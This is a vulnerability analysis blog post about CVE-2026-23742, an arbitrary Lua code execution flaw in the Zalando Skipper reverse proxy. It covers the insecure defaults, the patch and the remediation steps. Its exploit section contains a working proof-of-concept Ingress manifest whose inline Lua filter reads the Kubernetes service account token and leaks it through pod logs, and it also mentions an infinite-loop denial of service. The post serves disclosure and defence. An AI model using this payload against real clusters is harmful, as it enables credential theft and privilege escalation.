Skipper's Sinking Ship: Arbitrary Code Execution via Lua Filters
Jan 17, 2026·5 min read
Executive Summary (TL;DR)
In versions prior to 0.23.0, Skipper enabled its Lua scripting engine by default and permitted 'inline' code sources. Attackers with the ability to configure routes (e.g., via Kubernetes Ingress) could inject malicious Lua scripts to read sensitive files—such as Kubernetes Service Account tokens—or execute system commands, leading to potential cluster compromise.
Zalando Skipper, a popular HTTP router and reverse proxy, suffered from a critical 'insecure by default' configuration that allowed arbitrary Lua code execution. By enabling inline script sources without adequate sandboxing, the tool essentially handed a loaded gun to anyone with the ability to define routing filters.
The Hook: A Proxy with a PhD
Skipper isn't your average dumb pipe. It's a highly capable HTTP router and reverse proxy designed for service composition, often deployed as a Kubernetes Ingress controller. It creates a dynamic routing fabric where request flow can be manipulated using 'filters'.
Filters are the magic sauce. They allow you to modify headers, throttle traffic, or redirect requests based on complex logic. To make this even more powerful, the developers integrated Lua—a lightweight scripting language—allowing users to write custom logic right inside the routing path.
But here's the catch: giving users a Turing-complete language inside your critical infrastructure is like handing a toddler a chainsaw. It's powerful, sure, but if you don't put a safety guard on it, someone is going to lose a limb. In Skipper's case, that safety guard wasn't just unlocked; it was left completely off by default.
The Flaw: Convenience Over Security
The root cause of CVE-2026-23742 represents a classic failure of the 'Secure by Default' principle. Prior to version 0.23.0, Skipper made three fatal assumptions:
- Always On: The Lua scripting engine was initialized automatically at startup, whether you intended to use it or not.
- Inline Execution: The configuration defaulted to
-lua-sources=inline,file. This meant scripts didn't need to be loaded from a trusted file on disk; they could be passed directly as strings in the configuration. - No Sandboxing: The Lua environment provided access to standard libraries like
io(file system) andos(operating system) without restriction.
In a multi-tenant Kubernetes environment, this is catastrophic. If a developer (or an attacker with compromised credentials) creates an Ingress resource, they can define a filter. Because inline was allowed, they could embed a malicious script directly into the YAML of the Ingress object, bypassing any file system controls the underlying container might have had.
The Code: The Smoking Gun
The vulnerability lived in how Skipper initialized its filter registry. It didn't ask if you wanted Lua; it just gave it to you.
The Vulnerable Logic (Conceptual): Before the patch, the code essentially initialized the Lua script module unconditionally. It trusted that if a user provided a script, they were allowed to run it.
The Fix (Commit 0b52894):
The patch introduced a sanity check. Now, Lua is only initialized if explicitly enabled via the EnableLua flag. Furthermore, the defaults were tightened to discourage inline sources.
Here is the critical change in skipper.go:
// The Fix: Explicit Consent Required
if o.EnableLua {
lua, err := script.NewLuaScriptWithOptions(script.LuaOptions{
Modules: o.LuaModules,
Sources: o.LuaSources,
})
if err != nil {
log.Errorf("Failed to create lua filter: %v.", err)
return err
}
o.CustomFilters = append(o.CustomFilters, lua)
}By wrapping the initialization in if o.EnableLua, the attack surface is reduced to zero for the vast majority of users who never needed Lua scripting in the first place.
The Exploit: Stealing the Keys to the Kingdom
Let's put on our black hats. Imagine we are inside a Kubernetes cluster with permission to create Ingress resources (a common permission for developers). We want to escalate privileges. The Skipper pod is likely running with a Service Account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.
We don't need a shell. We just need to define a route that reads that file and spits it out.
Step 1: The Malicious Ingress
We create an Ingress resource that uses the lua() filter. We pass the code inline.
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-ingress
annotations:
zalando.org/skipper-filter: |
lua("function request(ctx)
local f = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
if f then
local token = f:read('*all')
f:close()
-- Dump the token into the application logs as an error
error('[PWNED] ' .. token)
end
end")
spec:
rules:
- host: evil.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: some-service
port:
number: 80Step 2: Trigger and Collect
We send a curl request to evil.example.com. The Skipper filter executes, opens the file using the unsandboxed io library, reads the token, and throws a Lua error.
Step 3: Profit
The attacker reads the Skipper pod logs (which they likely have access to). They see: [PWNED] eyJhbGciOiJSUzI1NiIsImtp.... They now have the JWT for the Skipper service account.
The Impact: From Filter to Admin
Why is this scary? Because Ingress controllers are high-value targets. They sit at the edge of the network and handle traffic for everyone.
- Data Exfiltration: As demonstrated, reading arbitrary files allows stealing secrets, config files, and environment variables.
- Lateral Movement: With the stolen Service Account token, an attacker can talk to the Kubernetes API. If the Skipper pod has broad permissions (e.g., to discover services or endpoints), the attacker can map the network or compromise other pods.
- Denial of Service: An inline script containing a
while true do endloop would freeze the Lua VM and potentially hang the request processing thread, causing a denial of service for the routing layer.
The Fix: Turn it Off
The remediation is straightforward but requires action. The maintainers flipped the default switch to OFF.
Immediate Steps:
- Upgrade: Move to Skipper v0.23.0 or later immediately.
- Audit: Check if you actually use Lua filters. If not, do nothing—the new version disables them by default.
- Configure: If you do need Lua, explicitly enable it with
-enable-lua, but change the source policy. Use-lua-sources=fileto force scripts to load from the filesystem (which requires access to the container image or volume mounts to change), effectively killing theinlineattack vector.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Skipper Zalando | < 0.23.0 | 0.23.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 (Code Injection) |
| CVSS v3.1 | 8.8 (High) |
| Attack Vector | Network (via Config/Ingress) |
| Privileges Required | Low (Ingress Creation) |
| Impact | Arbitrary Code Execution / Information Disclosure |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
Improper Control of Generation of Code ('Code Injection')
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.